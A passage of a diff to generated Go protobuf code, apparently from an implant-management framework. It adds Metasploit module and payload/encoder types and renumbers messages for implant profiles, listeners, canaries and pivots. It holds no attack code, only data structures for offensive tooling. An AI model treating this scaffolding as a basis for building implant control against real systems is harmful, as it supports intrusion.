json:"CrossCompilers,omitempty"` + UnsupportedTargets []*CompilerTarget `protobuf:"bytes,5,rep,name=UnsupportedTargets,proto3" json:"UnsupportedTargets,omitempty"` +} + +func (x *Compiler) Reset() { + *x = Compiler{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[25] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *Compiler) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*Compiler) ProtoMessage() {} + +func (x *Compiler) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[25] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use Compiler.ProtoReflect.Descriptor instead. +func (*Compiler) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{25} +} + +func (x *Compiler) GetGOOS() string { + if x != nil { + return x.GOOS + } + return "" +} + +func (x *Compiler) GetGOARCH() string { + if x != nil { + return x.GOARCH + } + return "" +} + +func (x *Compiler) GetTargets() []*CompilerTarget { + if x != nil { + return x.Targets + } + return nil +} + +func (x *Compiler) GetCrossCompilers() []*CrossCompiler { + if x != nil { + return x.CrossCompilers + } + return nil +} + +func (x *Compiler) GetUnsupportedTargets() []*CompilerTarget { + if x != nil { + return x.UnsupportedTargets + } + return nil +} + +type MetasploitModule struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"` + FullName string `protobuf:"bytes,2,opt,name=FullName,proto3" json:"FullName,omitempty"` + Description string `protobuf:"bytes,3,opt,name=Description,proto3" json:"Description,omitempty"` + Quality string `protobuf:"bytes,4,opt,name=Quality,proto3" json:"Quality,omitempty"` +} + +func (x *MetasploitModule) Reset() { + *x = MetasploitModule{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[26] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *MetasploitModule) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*MetasploitModule) ProtoMessage() {} + +func (x *MetasploitModule) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[26] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use MetasploitModule.ProtoReflect.Descriptor instead. +func (*MetasploitModule) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{26} } -func (x *CrossCompiler) GetTargetGOOS() string { +func (x *MetasploitModule) GetName() string { if x != nil { - return x.TargetGOOS + return x.Name } return "" } -func (x *CrossCompiler) GetTargetGOARCH() string { +func (x *MetasploitModule) GetFullName() string { if x != nil { - return x.TargetGOARCH + return x.FullName } return "" } -func (x *CrossCompiler) GetCCPath() string { +func (x *MetasploitModule) GetDescription() string { if x != nil { - return x.CCPath + return x.Description } return "" } -func (x *CrossCompiler) GetCXXPath() string { +func (x *MetasploitModule) GetQuality() string { if x != nil { - return x.CXXPath + return x.Quality } return "" } -type Compiler struct { +type MetasploitCompiler struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - GOOS string `protobuf:"bytes,1,opt,name=GOOS,proto3" json:"GOOS,omitempty"` // The server's OS - GOARCH string `protobuf:"bytes,2,opt,name=GOARCH,proto3" json:"GOARCH,omitempty"` // The server's Arch - Targets []*CompilerTarget `protobuf:"bytes,3,rep,name=Targets,proto3" json:"Targets,omitempty"` - CrossCompilers []*CrossCompiler `protobuf:"bytes,4,rep,name=CrossCompilers,proto3" json:"CrossCompilers,omitempty"` - UnsupportedTargets []*CompilerTarget `protobuf:"bytes,5,rep,name=UnsupportedTargets,proto3" json:"UnsupportedTargets,omitempty"` + Version string `protobuf:"bytes,1,opt,name=Version,proto3" json:"Version,omitempty"` + Formats []string `protobuf:"bytes,2,rep,name=Formats,proto3" json:"Formats,omitempty"` + Archs []string `protobuf:"bytes,3,rep,name=Archs,proto3" json:"Archs,omitempty"` + Encoders []*MetasploitModule `protobuf:"bytes,4,rep,name=Encoders,proto3" json:"Encoders,omitempty"` + Payloads []*MetasploitModule `protobuf:"bytes,5,rep,name=Payloads,proto3" json:"Payloads,omitempty"` } -func (x *Compiler) Reset() { - *x = Compiler{} +func (x *MetasploitCompiler) Reset() { + *x = MetasploitCompiler{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[20] + mi := &file_clientpb_client_proto_msgTypes[27] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } -func (x *Compiler) String() string { +func (x *MetasploitCompiler) String() string { return protoimpl.X.MessageStringOf(x) } -func (*Compiler) ProtoMessage() {} +func (*MetasploitCompiler) ProtoMessage() {} -func (x *Compiler) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[20] +func (x *MetasploitCompiler) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[27] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3293,42 +3815,42 @@ func (x *Compiler) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use Compiler.ProtoReflect.Descriptor instead. -func (*Compiler) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{20} +// Deprecated: Use MetasploitCompiler.ProtoReflect.Descriptor instead. +func (*MetasploitCompiler) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{27} } -func (x *Compiler) GetGOOS() string { +func (x *MetasploitCompiler) GetVersion() string { if x != nil { - return x.GOOS + return x.Version } return "" } -func (x *Compiler) GetGOARCH() string { +func (x *MetasploitCompiler) GetFormats() []string { if x != nil { - return x.GOARCH + return x.Formats } - return "" + return nil } -func (x *Compiler) GetTargets() []*CompilerTarget { +func (x *MetasploitCompiler) GetArchs() []string { if x != nil { - return x.Targets + return x.Archs } return nil } -func (x *Compiler) GetCrossCompilers() []*CrossCompiler { +func (x *MetasploitCompiler) GetEncoders() []*MetasploitModule { if x != nil { - return x.CrossCompilers + return x.Encoders } return nil } -func (x *Compiler) GetUnsupportedTargets() []*CompilerTarget { +func (x *MetasploitCompiler) GetPayloads() []*MetasploitModule { if x != nil { - return x.UnsupportedTargets + return x.Payloads } return nil } @@ -3344,7 +3866,7 @@ type DeleteReq struct { func (x *DeleteReq) Reset() { *x = DeleteReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[21] + mi := &file_clientpb_client_proto_msgTypes[28] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3357,7 +3879,7 @@ func (x *DeleteReq) String() string { func (*DeleteReq) ProtoMessage() {} func (x *DeleteReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[21] + mi := &file_clientpb_client_proto_msgTypes[28] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3370,7 +3892,7 @@ func (x *DeleteReq) ProtoReflect() protoreflect.Message { // Deprecated: Use DeleteReq.ProtoReflect.Descriptor instead. func (*DeleteReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{21} + return file_clientpb_client_proto_rawDescGZIP(), []int{28} } func (x *DeleteReq) GetName() string { @@ -3398,7 +3920,7 @@ type DNSCanary struct { func (x *DNSCanary) Reset() { *x = DNSCanary{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[22] + mi := &file_clientpb_client_proto_msgTypes[29] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3411,7 +3933,7 @@ func (x *DNSCanary) String() string { func (*DNSCanary) ProtoMessage() {} func (x *DNSCanary) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[22] + mi := &file_clientpb_client_proto_msgTypes[29] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3424,7 +3946,7 @@ func (x *DNSCanary) ProtoReflect() protoreflect.Message { // Deprecated: Use DNSCanary.ProtoReflect.Descriptor instead. func (*DNSCanary) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{22} + return file_clientpb_client_proto_rawDescGZIP(), []int{29} } func (x *DNSCanary) GetID() string { @@ -3487,7 +4009,7 @@ type Canaries struct { func (x *Canaries) Reset() { *x = Canaries{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[23] + mi := &file_clientpb_client_proto_msgTypes[30] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3500,7 +4022,7 @@ func (x *Canaries) String() string { func (*Canaries) ProtoMessage() {} func (x *Canaries) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[23] + mi := &file_clientpb_client_proto_msgTypes[30] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3513,7 +4035,7 @@ func (x *Canaries) ProtoReflect() protoreflect.Message { // Deprecated: Use Canaries.ProtoReflect.Descriptor instead. func (*Canaries) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{23} + return file_clientpb_client_proto_rawDescGZIP(), []int{30} } func (x *Canaries) GetCanaries() []*DNSCanary { @@ -3535,7 +4057,7 @@ type UniqueWGIP struct { func (x *UniqueWGIP) Reset() { *x = UniqueWGIP{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[24] + mi := &file_clientpb_client_proto_msgTypes[31] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3548,7 +4070,7 @@ func (x *UniqueWGIP) String() string { func (*UniqueWGIP) ProtoMessage() {} func (x *UniqueWGIP) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[24] + mi := &file_clientpb_client_proto_msgTypes[31] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3561,7 +4083,7 @@ func (x *UniqueWGIP) ProtoReflect() protoreflect.Message { // Deprecated: Use UniqueWGIP.ProtoReflect.Descriptor instead. func (*UniqueWGIP) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{24} + return file_clientpb_client_proto_rawDescGZIP(), []int{31} } func (x *UniqueWGIP) GetIP() string { @@ -3584,7 +4106,7 @@ type ImplantProfile struct { func (x *ImplantProfile) Reset() { *x = ImplantProfile{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[25] + mi := &file_clientpb_client_proto_msgTypes[32] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3597,7 +4119,7 @@ func (x *ImplantProfile) String() string { func (*ImplantProfile) ProtoMessage() {} func (x *ImplantProfile) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[25] + mi := &file_clientpb_client_proto_msgTypes[32] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3610,7 +4132,7 @@ func (x *ImplantProfile) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantProfile.ProtoReflect.Descriptor instead. func (*ImplantProfile) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{25} + return file_clientpb_client_proto_rawDescGZIP(), []int{32} } func (x *ImplantProfile) GetID() string { @@ -3645,7 +4167,7 @@ type ImplantProfiles struct { func (x *ImplantProfiles) Reset() { *x = ImplantProfiles{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[26] + mi := &file_clientpb_client_proto_msgTypes[33] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3658,7 +4180,7 @@ func (x *ImplantProfiles) String() string { func (*ImplantProfiles) ProtoMessage() {} func (x *ImplantProfiles) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[26] + mi := &file_clientpb_client_proto_msgTypes[33] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3671,7 +4193,7 @@ func (x *ImplantProfiles) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantProfiles.ProtoReflect.Descriptor instead. func (*ImplantProfiles) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{26} + return file_clientpb_client_proto_rawDescGZIP(), []int{33} } func (x *ImplantProfiles) GetProfiles() []*ImplantProfile { @@ -3692,7 +4214,7 @@ type RegenerateReq struct { func (x *RegenerateReq) Reset() { *x = RegenerateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[27] + mi := &file_clientpb_client_proto_msgTypes[34] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3705,7 +4227,7 @@ func (x *RegenerateReq) String() string { func (*RegenerateReq) ProtoMessage() {} func (x *RegenerateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[27] + mi := &file_clientpb_client_proto_msgTypes[34] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3718,7 +4240,7 @@ func (x *RegenerateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use RegenerateReq.ProtoReflect.Descriptor instead. func (*RegenerateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{27} + return file_clientpb_client_proto_rawDescGZIP(), []int{34} } func (x *RegenerateReq) GetImplantName() string { @@ -3745,7 +4267,7 @@ type Job struct { func (x *Job) Reset() { *x = Job{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[28] + mi := &file_clientpb_client_proto_msgTypes[35] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3758,7 +4280,7 @@ func (x *Job) String() string { func (*Job) ProtoMessage() {} func (x *Job) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[28] + mi := &file_clientpb_client_proto_msgTypes[35] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3771,7 +4293,7 @@ func (x *Job) ProtoReflect() protoreflect.Message { // Deprecated: Use Job.ProtoReflect.Descriptor instead. func (*Job) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{28} + return file_clientpb_client_proto_rawDescGZIP(), []int{35} } func (x *Job) GetID() uint32 { @@ -3834,7 +4356,7 @@ type Jobs struct { func (x *Jobs) Reset() { *x = Jobs{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[29] + mi := &file_clientpb_client_proto_msgTypes[36] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3847,7 +4369,7 @@ func (x *Jobs) String() string { func (*Jobs) ProtoMessage() {} func (x *Jobs) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[29] + mi := &file_clientpb_client_proto_msgTypes[36] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3860,7 +4382,7 @@ func (x *Jobs) ProtoReflect() protoreflect.Message { // Deprecated: Use Jobs.ProtoReflect.Descriptor instead. func (*Jobs) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{29} + return file_clientpb_client_proto_rawDescGZIP(), []int{36} } func (x *Jobs) GetActive() []*Job { @@ -3881,7 +4403,7 @@ type KillJobReq struct { func (x *KillJobReq) Reset() { *x = KillJobReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[30] + mi := &file_clientpb_client_proto_msgTypes[37] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3894,7 +4416,7 @@ func (x *KillJobReq) String() string { func (*KillJobReq) ProtoMessage() {} func (x *KillJobReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[30] + mi := &file_clientpb_client_proto_msgTypes[37] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3907,7 +4429,7 @@ func (x *KillJobReq) ProtoReflect() protoreflect.Message { // Deprecated: Use KillJobReq.ProtoReflect.Descriptor instead. func (*KillJobReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{30} + return file_clientpb_client_proto_rawDescGZIP(), []int{37} } func (x *KillJobReq) GetID() uint32 { @@ -3928,7 +4450,7 @@ type RestartJobReq struct { func (x *RestartJobReq) Reset() { *x = RestartJobReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[31] + mi := &file_clientpb_client_proto_msgTypes[38] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3941,7 +4463,7 @@ func (x *RestartJobReq) String() string { func (*RestartJobReq) ProtoMessage() {} func (x *RestartJobReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[31] + mi := &file_clientpb_client_proto_msgTypes[38] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3954,7 +4476,7 @@ func (x *RestartJobReq) ProtoReflect() protoreflect.Message { // Deprecated: Use RestartJobReq.ProtoReflect.Descriptor instead. func (*RestartJobReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{31} + return file_clientpb_client_proto_rawDescGZIP(), []int{38} } func (x *RestartJobReq) GetJobIDs() []uint32 { @@ -3976,7 +4498,7 @@ type KillJob struct { func (x *KillJob) Reset() { *x = KillJob{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[32] + mi := &file_clientpb_client_proto_msgTypes[39] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3989,7 +4511,7 @@ func (x *KillJob) String() string { func (*KillJob) ProtoMessage() {} func (x *KillJob) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[32] + mi := &file_clientpb_client_proto_msgTypes[39] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4002,7 +4524,7 @@ func (x *KillJob) ProtoReflect() protoreflect.Message { // Deprecated: Use KillJob.ProtoReflect.Descriptor instead. func (*KillJob) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{32} + return file_clientpb_client_proto_rawDescGZIP(), []int{39} } func (x *KillJob) GetID() uint32 { @@ -4038,7 +4560,7 @@ type ListenerJob struct { func (x *ListenerJob) Reset() { *x = ListenerJob{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[33] + mi := &file_clientpb_client_proto_msgTypes[40] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4051,7 +4573,7 @@ func (x *ListenerJob) String() string { func (*ListenerJob) ProtoMessage() {} func (x *ListenerJob) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[33] + mi := &file_clientpb_client_proto_msgTypes[40] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4064,7 +4586,7 @@ func (x *ListenerJob) ProtoReflect() protoreflect.Message { // Deprecated: Use ListenerJob.ProtoReflect.Descriptor instead. func (*ListenerJob) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{33} + return file_clientpb_client_proto_rawDescGZIP(), []int{40} } func (x *ListenerJob) GetID() string { @@ -4135,7 +4657,7 @@ type MultiplayerListenerReq struct { func (x *MultiplayerListenerReq) Reset() { *x = MultiplayerListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[34] + mi := &file_clientpb_client_proto_msgTypes[41] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4148,7 +4670,7 @@ func (x *MultiplayerListenerReq) String() string { func (*MultiplayerListenerReq) ProtoMessage() {} func (x *MultiplayerListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[34] + mi := &file_clientpb_client_proto_msgTypes[41] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4161,7 +4683,7 @@ func (x *MultiplayerListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MultiplayerListenerReq.ProtoReflect.Descriptor instead. func (*MultiplayerListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{34} + return file_clientpb_client_proto_rawDescGZIP(), []int{41} } func (x *MultiplayerListenerReq) GetHost() string { @@ -4190,7 +4712,7 @@ type MTLSListenerReq struct { func (x *MTLSListenerReq) Reset() { *x = MTLSListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[35] + mi := &file_clientpb_client_proto_msgTypes[42] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4203,7 +4725,7 @@ func (x *MTLSListenerReq) String() string { func (*MTLSListenerReq) ProtoMessage() {} func (x *MTLSListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[35] + mi := &file_clientpb_client_proto_msgTypes[42] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4216,7 +4738,7 @@ func (x *MTLSListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MTLSListenerReq.ProtoReflect.Descriptor instead. func (*MTLSListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{35} + return file_clientpb_client_proto_rawDescGZIP(), []int{42} } func (x *MTLSListenerReq) GetHost() string { @@ -4248,7 +4770,7 @@ type WGListenerReq struct { func (x *WGListenerReq) Reset() { *x = WGListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[36] + mi := &file_clientpb_client_proto_msgTypes[43] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4261,7 +4783,7 @@ func (x *WGListenerReq) String() string { func (*WGListenerReq) ProtoMessage() {} func (x *WGListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[36] + mi := &file_clientpb_client_proto_msgTypes[43] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4274,7 +4796,7 @@ func (x *WGListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use WGListenerReq.ProtoReflect.Descriptor instead. func (*WGListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{36} + return file_clientpb_client_proto_rawDescGZIP(), []int{43} } func (x *WGListenerReq) GetHost() string { @@ -4327,7 +4849,7 @@ type DNSListenerReq struct { func (x *DNSListenerReq) Reset() { *x = DNSListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[37] + mi := &file_clientpb_client_proto_msgTypes[44] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4340,7 +4862,7 @@ func (x *DNSListenerReq) String() string { func (*DNSListenerReq) ProtoMessage() {} func (x *DNSListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[37] + mi := &file_clientpb_client_proto_msgTypes[44] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4353,7 +4875,7 @@ func (x *DNSListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use DNSListenerReq.ProtoReflect.Descriptor instead. func (*DNSListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{37} + return file_clientpb_client_proto_rawDescGZIP(), []int{44} } func (x *DNSListenerReq) GetDomains() []string { @@ -4413,7 +4935,7 @@ type HTTPListenerReq struct { func (x *HTTPListenerReq) Reset() { *x = HTTPListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[38] + mi := &file_clientpb_client_proto_msgTypes[45] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4426,7 +4948,7 @@ func (x *HTTPListenerReq) String() string { func (*HTTPListenerReq) ProtoMessage() {} func (x *HTTPListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[38] + mi := &file_clientpb_client_proto_msgTypes[45] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4439,7 +4961,7 @@ func (x *HTTPListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPListenerReq.ProtoReflect.Descriptor instead. func (*HTTPListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{38} + return file_clientpb_client_proto_rawDescGZIP(), []int{45} } func (x *HTTPListenerReq) GetDomain() string { @@ -4539,7 +5061,7 @@ type NamedPipesReq struct { func (x *NamedPipesReq) Reset() { *x = NamedPipesReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[39] + mi := &file_clientpb_client_proto_msgTypes[46] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4552,7 +5074,7 @@ func (x *NamedPipesReq) String() string { func (*NamedPipesReq) ProtoMessage() {} func (x *NamedPipesReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[39] + mi := &file_clientpb_client_proto_msgTypes[46] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4565,7 +5087,7 @@ func (x *NamedPipesReq) ProtoReflect() protoreflect.Message { // Deprecated: Use NamedPipesReq.ProtoReflect.Descriptor instead. func (*NamedPipesReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{39} + return file_clientpb_client_proto_rawDescGZIP(), []int{46} } func (x *NamedPipesReq) GetPipeName() string { @@ -4595,7 +5117,7 @@ type NamedPipes struct { func (x *NamedPipes) Reset() { *x = NamedPipes{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[40] + mi := &file_clientpb_client_proto_msgTypes[47] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4608,7 +5130,7 @@ func (x *NamedPipes) String() string { func (*NamedPipes) ProtoMessage() {} func (x *NamedPipes) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[40] + mi := &file_clientpb_client_proto_msgTypes[47] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4621,7 +5143,7 @@ func (x *NamedPipes) ProtoReflect() protoreflect.Message { // Deprecated: Use NamedPipes.ProtoReflect.Descriptor instead. func (*NamedPipes) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{40} + return file_clientpb_client_proto_rawDescGZIP(), []int{47} } func (x *NamedPipes) GetSuccess() bool { @@ -4658,7 +5180,7 @@ type TCPPivotReq struct { func (x *TCPPivotReq) Reset() { *x = TCPPivotReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[41] + mi := &file_clientpb_client_proto_msgTypes[48] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4671,7 +5193,7 @@ func (x *TCPPivotReq) String() string { func 